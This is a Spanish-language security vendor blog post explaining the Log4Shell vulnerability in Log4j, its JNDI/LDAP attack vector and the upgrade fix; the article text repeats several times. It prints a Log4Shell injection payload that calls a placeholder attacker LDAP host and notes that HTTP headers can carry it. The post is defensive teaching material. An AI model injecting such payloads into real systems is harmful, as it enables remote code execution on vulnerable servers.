La vulnerabilidad de Log4j explicada - Su vector de ataque y cómo prevenirla
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
En diciembre de 2021, se reveló una vulnerabilidad de seguridad crítica Log4Shell en la biblioteca Java Log4j. En este artículo, desglosamos la vulnerabilidad Log4Shell de la forma más sencilla para que entiendas lo básico y te presentamos una misión: un campo de juego en el que puedes intentar explotar un sitio web simulado utilizando los conocimientos de esta vulnerabilidad.
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Reservar una demostración
Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
Haga clic en el siguiente enlace y descargue el PDF de este recurso.
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Ver el informeReservar una demostración
Laura Verheyde es una desarrolladora de software en Secure Code Warrior centrada en la investigación de vulnerabilidades y la creación de contenidos para Missions y Coding labs.
El 9 de diciembre, se reveló un exploit de día 0 en la biblioteca Java Log4j. El CVE-44228, denominado Log4Shell, recibió una calificación de "gravedad alta", ya que el exploit puede dar lugar a la ejecución remota de código (RCE). Además, log4j-core es una de las bibliotecas de registro de Java más utilizadas, por lo que pone en riesgo a millones de aplicaciones.
¿Desea mejorar rápidamente sus habilidades para enfrentarse a Log4Shell?
Hemos construido un escaparate que te lleva desde la idea básica de Log4Shell hasta experimentar los exploits de esta vulnerabilidad en un simulador llamado, Misión. En esta Misión, le guiaremos a través de cómo la Vulnerabilidad Log4j puede afectar a su infraestructura y aplicaciones. Haga clic aquí para entrar directamente en el simulador, o continúe leyendo para aprender más sobre la vulnerabilidad en detalle.
¿Antiguas noticias?
El exploit no es nuevo. Ya en su charla de BlackHat de 2016, los investigadores de seguridad Álvaro Muñoz y Oleksandr Mirosh hicieron hincapié en que "las aplicaciones no deberían realizar búsquedas JNDI con datos no confiables", e ilustraron cómo una inyección JNDI/LDAP dirigida podría llevar a la ejecución remota de código. Y esto es exactamente lo que se encuentra en el núcleo de Log4Shell.
Vector de ataque
El payload de inyección de Log4Shell tiene este aspecto:
${jndi:ldap://attacker.host/xyz}
To understand this we need to know about Java’s Expression Language (EL). Expressions written in the following syntax: ${expr} will be evaluated at runtime. For example, ${java:version} will return the Java version being used.
Luego está JNDI, o Java Naming and Directory Interface, que es una API que permite conectarse con servicios que utilizan protocolos como LDAP, DNS, RMI, etc. para recuperar datos o recursos. En pocas palabras, en nuestro ejemplo de carga maliciosa anterior, JNDI realiza una búsqueda en el servidor LDAP controlado por el atacante. Su respuesta podría, por ejemplo, apuntar a un archivo de clase Java que contenga código malicioso, que a su vez se ejecutará en el servidor vulnerable.
Lo que hace que esta vulnerabilidad sea tan problemática es que Log4j evalúa todas las entradas de registro, y realizará búsquedas de todas las entradas de usuario registradas escritas en sintaxis EL con el prefijo "jndi". La carga útil puede inyectarse en cualquier lugar donde los usuarios puedan introducir datos, como los campos de los formularios. Además, las cabeceras HTTP, como User-Agent y X-Forwarded-For, y otras cabeceras, pueden personalizarse para llevar la carga útil.
Para experimentar la hazaña por sí mismo, diríjase a nuestro escaparate y pase al paso 2: "Experimentar el impacto".
La prevención: Concienciación
La actualización es la acción recomendada para todas las aplicaciones, ya que Log4j ha estado parcheando el código vulnerable. Las versiones 2.15.0 y 2.16.0, sin embargo, contenían un DDoS y otras vulnerabilidades, por lo que a partir de finales de diciembre se recomienda actualizar a la 2.17.0.
Como desarrolladores que escriben código, debemos tener en cuenta la seguridad en todo momento. Log4Shell nos ha enseñado que existen riesgos cuando se utilizan frameworks o librerías de terceros. Tenemos que ser conscientes de que la seguridad de nuestra aplicación puede verse comprometida por el uso de fuentes externas, que ingenuamente asumimos como seguras.
¿Podría haberse evitado esta vulnerabilidad? Sí y no. Por un lado, los desarrolladores no pueden hacer mucho, ya que los componentes vulnerables se introducen a través de software de terceros. Por otro lado, la lección aprendida de esto, es una que se ha repetido una y otra vez, es decir, nunca confiar en la entrada del usuario.
Secure Code Warrior cree que los desarrolladores preocupados por la seguridad son la mejor manera de evitar que se produzcan vulnerabilidades en el código. Dado que SCW proporciona formación específica sobre el marco de programación a escala, los clientes empresariales han podido localizar rápidamente quiénes son los desarrolladores de Java afectados utilizando los datos de los informes. También han confiado en sus campeones de seguridad formados por SCW para acelerar la actualización de Log4j.
Para los desarrolladores de Java en particular, Secure Code Warrior ofrece Sensei, un complemento gratuito de IntelliJ. Esta herramienta de análisis de código basada en reglas puede utilizarse para aplicar las directrices de codificación y prevenir y corregir las vulnerabilidades. Puedes crear tus propias reglas o utilizar nuestros libros de recetas ya preparados. Navegue por nuestras recetas, y no olvide descargar nuestro libro de cocina de Log4j que le ayudará a localizar y solucionar la vulnerabilidad de Log4Shell en un abrir y cerrar de ojos.
Mejore sus habilidades para defenderse de Log4Shell
¿Está interesado en poner en práctica lo que ha aprendido en esta entrada del blog? Nuestro showcase puede ayudarte. Al principio del showcase, tendrás un rápido repaso de esta vulnerabilidad, y luego serás llevado a un entorno simulado donde podrás probar el exploit con instrucciones guiadas.
Índice
Secure Code Warrior está a disposición de su organización para ayudarle a proteger el código a lo largo de todo el ciclo de vida de desarrollo de software y crear una cultura en la que la ciberseguridad sea una prioridad. Tanto si es director de AppSec, desarrollador, CISO o cualquier persona implicada en la seguridad, podemos ayudar a su organización a reducir los riesgos asociados a un código inseguro.
Reservar una demostraciónDescargarRecursos para empezar
Secure Code Warrior Learning: Enable Secure AI-Driven Development at Scale
Secure code for the AI era: Learn how Secure Code Warrior builds developer capability to reduce vulnerabilities and secure AI-generated code at scale.
Trust Agent:AI - Secure and scale AI-Drive development
AI is writing code. Who’s governing it? With up to 50% of AI-generated code containing security weaknesses, managing AI risk is critical. Discover how SCW's Trust Agent: AI provides the real-time visibility, proactive governance, and targeted upskilling needed to scale AI-driven development securely.
El poder de la seguridad de aplicaciones OpenText + Secure Code Warrior
OpenText Application Security and Secure Code Warrior combine vulnerability detection with AI Software Governance and developer capability. Together, they help organizations reduce risk, strengthen secure coding practices, and confidently adopt AI-driven development.
Secure Code Warrior corporate overview
Secure Code Warrior is an AI Software Governance platform designed to enable organizations to safely adopt AI-driven development by bridging the gap between development velocity and enterprise security. The platform addresses the "Visibility Gap," where security teams often lack insights into shadow AI coding tools and the origins of production code.
Recursos para empezar
Securing the Future of Software: Why Secure Code Warrior and KnowBe4 Are Joining Forces
I am thrilled to announce today an upcoming strategic partnership between Secure Code Warrior and KnowBe4. KnowBe4 is a world-renowned leader in comprehensively managing human and agentic AI risk, making them the perfect partner to help us distribute foundational security awareness to organizations across the globe.
Post-Quantum Cryptography: Quantum Computers Will Break Today’s Encryption – Are You Ready?
Post-quantum cryptography (PQC) is critical for protecting data from quantum computing threats. Learn how “harvest now, decrypt later” exposes risk and how developers can prepare for quantum-safe security.
.png)